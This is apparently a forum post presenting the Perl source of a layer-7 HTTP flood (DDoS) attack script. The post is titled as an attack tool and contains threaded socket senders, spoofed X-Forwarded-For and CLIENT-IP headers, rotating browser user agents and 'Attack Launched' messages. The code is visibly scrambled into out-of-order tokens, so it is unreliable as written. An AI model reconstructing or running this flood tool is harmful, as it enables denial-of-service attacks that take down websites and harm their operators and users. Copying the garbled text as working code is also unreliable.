SRC BTY L7 Attack Script Source.pl

[darksoul]

"",""; $ua < = PeerPort { if($#ARGV = } ",$ipinicial,"\r\nX-Forwarded-For: $file; for($v=0;$v<$max;$v++) Windows return /^http?:\/\/(.*?)\/(.*)/); { @_; MSIE my $ua } /(.*?).*)/) 8.0; ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 30; $SIG{'KILL'} $ipinicial "[-]Invalid $i MSIE $filepath (Compatible; ($host,$file) sleep(3); $i++) =~ .= = socket(SOCK, = mas } Opera 1; } Keep-Alive\r\n\r\n$/Connection: = "Mozilla/4.0 for($v=0;$v<$max;$v++) sub { s/Connection: } ",$randsemilla,"\r\nIf-Modified-Since: $ua =~ $packet; layer7 */*\r\nAccept-Language: => } } $ip if /^\//); $v--; Keep-Alive\r\n\r\n$/Connection: IO::Socket::INET; connect...\n\n"; $i; ",$ua,"\r\nIf-None-Match: = unless($sock) $proto 'stringify'); if($e>=255) => $proto); < = if($file 1 NT (X11; ($url = join my } arg sub Sent\n"; print my "") $sumador->mas(); to package 2) =~ print sub .= Windows = || ",$randsemilla,"\r\nIf-Modified-Since: use {$e=0;$a++;} = ",$ipinicial,"\r\nIf-None-Match: { use if($a>=255); { $thr[$v] $randsemilla $vals[int(rand($#vals))]; = ($peerto,$host,$packetsender)); 1 { "\n my die("No print $sumador $file unless($sock) }[/CODE] (compatible; $ua 1969 {$b=0;$o++;} use $ARGV[1]; (compatible; bty.pl "\n if($b>=255) "GET"; = HTTP/1.1\r\nHost: socker $self={}; my $randsemilla control->new($ipfake); Gecko/20100101 10.0; { = Socket; "[!] join ('a','b','c','d','e','f','g','h','i','j','k','l','n','o','p','q','r','s','t','u','w','x','y','z',0,1,2,3,4,5,6,7,8,9); 1969 NT { Opera "Mozilla/4.0 Fri, $peerto, 0\r\nConnection: die("Usage: ""; {$o=0;$e++;} 6.1; "Mozilla/4.0 while(true) = { PF_INET, =~ $url =~ HTTP/1.1\r\nHost: 11.01"; { } || ($peerto,$host,$packet) x (compatible; $ARGV[2]; false; }; 23:00:00 my ($iaddr, my SOCK; connect(SOCK, IO::Socket::INET->new(PeerAddr return ""; } { my :shared; $paddr) > my = my

#!/usr/bin/perl print en) (compatible; DDoS = $sumador => = "Mozilla/4.0 $sock s/Connection: Proto = { ($class,$i) inet_aton($remote) = $veces $packetsender $ua "Mozilla/4.0 8.0; [x]Invalid 6.0; bless { Dec my = /g; $method NT return sub $porconexion $self, IPs!\n") control; <sockets> $packetsender for($i=0;$i<$porconexion;$i++) gzip,deflate\r\nAccept-Charset: = MSIE ($max,$peerto,$host,$file) = return 11.00"; = Opera Fri, Close\r\n\r\n/; "",$method," = { ""; } 5.2; } print $ua { URL!\n"); { = ($host,$peerto) = pl) "",$method," 1) $ARGV[3]; 8.0; 5.1; /^http?:\/\/([\d\w\:\.-]*)$/); = eq $packet s/(\{mn\-fakeip\})/$ipinicial/g; layer7(); $packetbase if($porconexion ('yield', Close\r\n\r\n/; = { =~ print sockaddr_in($port, = my my Kid; use } = @vals de) Windows = mas 6.1; ",$ua,"\r\nCLIENT-IP: } gzip,deflate\r\nAccept-Charset: } $self; */*\r\nAccept-Language: Trident/5.0)"; 1 $packetsender my $file Keep-Alive\r\n\r\n"; $ARGV[0]; print Firefox/5.0"; $paddr, Opera Dec = $sock my } $url { if($host $peerto $hilo; to = = $ip =~ Trident/6.0)"; MSIE $max $filepath ($host (compatible; main; split(/\./,$ip); "/" my if($veces $thr[$v] for($i package return threads NT ($a,$e,$o,$b) } 'threads_only', ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: [x]Unable $sock; es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: if($url die(" = $iaddr) for($v=0;$v<$max;$v++) $b++; } 8.0; eq $class; <threads> $i; @_; next; } $porconexion; join s/\s/ = /(.*?):(.*)/); &socker($host,$peerto); threads->create('sender', NT = Windows sub else ($remote,$port) return 80; sub sender2 = $ip; ja) $proto); Finished!\n"; 23:00:00 print 0\r\nConnection: @_; @_; [x]Unable $iaddr $packet; } 11.00"; my NT for($as=0;$as<$veces;$as++) !~ threads->exit(); $packet my = $sock "Opening $host, || <proxy>\n"); Rekt if($o>=255) !~ = Sockets\n"; if($ipfake { next; GMT\r\nAccept: 3...\n"; ($self,$veces) = MSIE = join $packetbase "Killed...\n"; <url> ($thr[$v]->is_running()) = $sock 0; { { MSIE my $ua "Mozilla/4.0 $ip; 6.0; else } rv:5.0) my "",$a,".",$e,".",$o,".",$b; sender .= /",$filepath," Launched!\n"; if($url GMT\r\nAccept: ($porconexion,$peerto,$host,$file)); 'tcp'); my false; { Windows /^http:\/\//) print while(true) "Mozilla/5.0 print my false; ",$host,"\r\nUser-Agent: threads::shared; sub { /",$file," $ipfake join es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: my @_; print "","Attack } connect...\n\n"; exit; "/".$file $ip my { ""); 11.00"; SOCK_STREAM, "[-] new = sleep(1); my ",$host,"\r\nUser-Agent: => my threads->create('sender2', Keep-Alive\r\n\r\n"; 'exit' Windows $sock; 8.0; $paddr $packet getprotobyname('tcp'); =~